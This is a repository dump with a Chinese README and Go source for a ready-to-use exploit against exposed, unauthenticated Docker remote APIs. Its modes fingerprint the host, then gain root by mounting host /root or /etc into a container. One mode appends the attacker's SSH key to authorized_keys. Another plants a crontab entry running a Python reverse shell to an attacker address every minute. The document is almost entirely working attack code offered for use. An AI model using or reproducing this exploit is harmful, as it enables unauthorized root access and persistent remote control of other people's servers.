├── README.md ├── docker_remote_api_exp └── docker_remote_api_exp.go /README.md: -------------------------------------------------------------------------------- 1 | ## Docker remote api exp 2 | ### 参数说明 3 | 4 | ```bash 5 | ./docker_remote_api_exp 6 | Usage of ./docker_remote_api_exp: 7 | -pubkey string 8 | id_rsa.pub file (default "/home/hartnett/.ssh/id_rsa.pub") 9 | -reverse string 10 | reverse address, 6.6.6.6:8888 11 | -target string 12 | target ip, 1.1.1.1:2375 13 | -type string 14 | Type, such as check, root, shell (default "check") 15 | -version string 16 | Docker version: 17 | --------------------------- 18 | Docker version API Version 19 | --------------------------- 20 | 1.12.x 1.24 21 | 1.11.x 1.23 22 | 1.10.x 1.22 23 | 1.9.x 1.21 24 | 1.8.x 1.20 25 | 1.7.x 1.19 26 | 1.6.x 1.18 27 | 28 | (default "1.12") 29 | ``` 30 | 31 | 1. ./docker_remote_api_exp -type=check -target=ip:2375,获取服务器信息,如操作系统,机器名,remote api版本以及docker的安装位置等 32 | 1. ./docker_remote_api_exp -type=root -target=ip:2375 -version=1.12.3,在/root/.ssh/authorized_keys写入攻击者的ssh公钥 33 | 1. ./docker_remote_api_exp -type=shell -target=ip:2375 -version=1.12.3 -reverse=attackerIp:8888,给攻击者反弹一个shell 34 | -------------------------------------------------------------------------------- /docker_remote_api_exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/docker-remote-api-exp/ce2e6c7b8f969d34123fa7995368c9f547077542/docker_remote_api_exp -------------------------------------------------------------------------------- /docker_remote_api_exp.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "os" 9 | "path/filepath" 10 | "strconv" 11 | "strings" 12 | "time" 13 | 14 | "github.com/docker/docker/api/types" 15 | "github.com/docker/docker/api/types/container" 16 | "github.com/docker/docker/client" 17 | "golang.org/x/net/context" 18 | ) 19 | 20 | const ( 21 | API_VERSION string = ` 22 | --------------------------- 23 | Docker version API Version 24 | --------------------------- 25 | 1.12.x 1.24 26 | 1.11.x 1.23 27 | 1.10.x 1.22 28 | 1.9.x 1.21 29 | 1.8.x 1.20 30 | 1.7.x 1.19 31 | 1.6.x 1.18 32 | ` 33 | ) 34 | 35 | var ( 36 | flagApiVersion = flag.String("version", "1.12", fmt.Sprintf("Docker version:%v\n", API_VERSION)) 37 | DockerVersion = fmt.Sprintf("v%v", *flagApiVersion) 38 | 39 | flagType = flag.String("type", "check", "Type, such as check, root, shell") 40 | flagTarget = flag.String("target", "", "target ip, 1.1.1.1:2375") 41 | flagReverseAddress = flag.String("reverse", "", "reverse address, 6.6.6.6:8888") 42 | flagSShPubKey = flag.String("pubkey", filepath.Join(os.Getenv("HOME"), ".ssh/id_rsa.pub"), "id_rsa.pub file") 43 | ) 44 | 45 | func main() { 46 | flag.Parse() 47 | if *flagType == "" || *flagTarget == "" { 48 | flag.Usage() 49 | } 50 | if strings.ToLower(*flagType) == "check" { 51 | Check(*flagTarget) 52 | } 53 | if strings.ToLower(*flagType) == "root" { 54 | GetRoot(*flagTarget, *flagSShPubKey) 55 | 56 | } 57 | if strings.ToLower(*flagType) == "shell" { 58 | if *flagReverseAddress == "" { 59 | flag.Usage() 60 | } else { 61 | GetShell(*flagTarget, *flagReverseAddress) 62 | } 63 | } 64 | } 65 | 66 | func Check(target string) { 67 | ctx := context.Background() 68 | cli, err := client.NewClient(fmt.Sprintf("tcp://%v", target), DockerVersion, nil, nil) 69 | if err == nil { 70 | info, err := cli.Info(ctx) 71 | if err == nil { 72 | // RFC3339Nano = "2006-01-02T15:04:05.999999999Z07:00" 73 | t, _ := time.Parse("2006-01-02T15:04:05.999999999Z07:00", info.SystemTime) 74 | 75 | fmt.Printf("%v, %v, %v, %v, %v, %v\n", t.Format("2006-01-02 15:04:05"), info.OperatingSystem, info.Name, 76 | info.ServerVersion, info.OSType, info.DockerRootDir) 77 | } 78 | } 79 | } 80 | 81 | func GetRoot(target, publicKey string) { 82 | pubKey, err := GetPublickey(publicKey) 83 | if err != nil { 84 | panic(err) 85 | } 86 | ctx := context.Background() 87 | cli, err := client.NewClient(fmt.Sprintf("tcp://%v", target), DockerVersion, nil, nil) 88 | if err == nil { 89 | ret, err := cli.ImagePull(ctx, "ubuntu", types.ImagePullOptions{}) 90 | if err == nil { 91 | io.Copy(os.Stderr, ret) 92 | cmd := []string{"/bin/sh", "-c", fmt.Sprintf("echo \"%v\" >> /tmp/.ssh/authorized_keys", pubKey)} 93 | resp, err := cli.ContainerCreate(ctx, &container.Config{ 94 | Image: "ubuntu", 95 | Cmd: cmd, 96 | }, &container.HostConfig{ 97 | Binds: []string{"/root/:/tmp/:rw"}}, nil, "") 98 | fmt.Println(resp, err) 99 | if err == nil { 100 | err := cli.ContainerStart(ctx, resp.ID, types.ContainerStartOptions{}) 101 | fmt.Println(resp.ID, err) 102 | statusId, err := cli.ContainerWait(ctx, resp.ID) 103 | fmt.Println(statusId, err) 104 | out, err := cli.ContainerLogs(ctx, resp.ID, types.ContainerLogsOptions{ShowStdout: true}) 105 | io.Copy(os.Stdout, out) 106 | } 107 | } 108 | } 109 | } 110 | 111 | func GetShell(target, reverse string) { 112 | myAddress := strings.Split(reverse, ":") 113 | var myIp string 114 | var myPort int 115 | if len(myAddress) == 2 { 116 | myIp = myAddress[0] 117 | myPort, _ = strconv.Atoi(myAddress[1]) 118 | } 119 | 120 | ctx := context.Background() 121 | cli, err := client.NewClient(fmt.Sprintf("tcp://%v", target), DockerVersion, nil, nil) 122 | if err == nil { 123 | ret, err := cli.ImagePull(ctx, "ubuntu", types.ImagePullOptions{}) 124 | if err == nil { 125 | io.Copy(os.Stderr, ret) 126 | cmd := []string{"/bin/sh", "-c", fmt.Sprintf("echo \"%v\" >> /etc/crontab", fmt.Sprintf( 127 | `*/1 * * * * hartnett /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%v\",%v));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`, 128 | myIp, myPort))} 129 | 130 | resp, err := cli.ContainerCreate(ctx, &container.Config{ 131 | Image: "ubuntu", 132 | Cmd: cmd, 133 | }, &container.HostConfig{ 134 | Binds: []string{"/etc/:/etc/:rw"}}, nil, "") 135 | fmt.Println(resp, err) 136 | if err == nil { 137 | err := cli.ContainerStart(ctx, resp.ID, types.ContainerStartOptions{}) 138 | fmt.Println(resp.ID, err) 139 | statusId, err := cli.ContainerWait(ctx, resp.ID) 140 | fmt.Println(statusId, err) 141 | out, err := cli.ContainerLogs(ctx, resp.ID, types.ContainerLogsOptions{ShowStdout: true}) 142 | io.Copy(os.Stdout, out) 143 | } 144 | } 145 | } 146 | } 147 | 148 | func GetPublickey(pubKeyName string) (pubKey string, err error) { 149 | b, err := ioutil.ReadFile(pubKeyName) 150 | if err == nil { 151 | pubKey = string(b) 152 | } 153 | return pubKey, err 154 | } 155 | --------------------------------------------------------------------------------